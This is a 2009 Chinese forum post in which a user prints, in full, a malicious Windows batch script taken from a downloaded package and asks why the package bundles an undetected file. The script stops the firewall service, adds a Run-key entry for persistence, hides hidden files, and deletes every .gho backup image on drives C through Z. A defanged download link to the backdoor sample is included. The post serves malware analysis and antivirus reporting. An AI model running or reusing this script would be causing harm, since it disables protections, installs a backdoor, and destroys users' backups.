@echo off
start C:\WINDOWS\system32\Microsoft\foxysetup.exe
net stop sharedaccess
tasklist|find /i "MSConfg.exe" && call goto quit
start C:\WINDOWS\system32\Microsoft\MSConfg.exe
goto qu
:quit
taskkill /f /im firefox.exe
taskkill /f /im MSConfg.exe
taskkill /f /im Privoxy.exe
rd /s /q C:\WINDOWS\system32\browser
del /f /q C:\WINDOWS\system32\msconfg.exe
del /f /q C:\WINDOWS\system32\SkinFeature.dll
start C:\WINDOWS\system32\Microsoft\MSConfg.exe
goto qu
:qu
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v MSConfg /t REG_SZ /d "C:\WINDOWS\system32\Microsoft\MSConfg.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" /v CheckedValue /t REG_DWORD /d "0" /f
for /d %%i in (c,d,e,f,g,h,I,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) do del %%i:\*.gho /s /q /a /f
start C:\WINDOWS\system32\Microsoft\foxy.exe
exit
上面那个批处理是由这个下载地址上面得到的：hxxp://iectown.cn/bbs/forumdata/cache/aigame.exe （这个压缩包有10MB左右，上传到论坛有点困难。想测试的话，请自己下载）
解压之后，把foxysetup.exe这文件打包上传到在线查毒引擎那边查杀。大多数的杀毒软件是报灰鸽子。卡巴斯基不能识别，已经上报过去，给予查杀。（其已经打包上传到附件里咯）
我是有点不解，那个压缩包里面的MSCONFG.exe在线查毒引擎，一个都没有报，为什么要把其都打包进去呢？
[ 本帖最后由 幸福的猪猪 于 2009-8-17 05:54 编辑 ] |
发表于 2009-8-17 05:51:34
发表于 2009-8-17 22:27:52
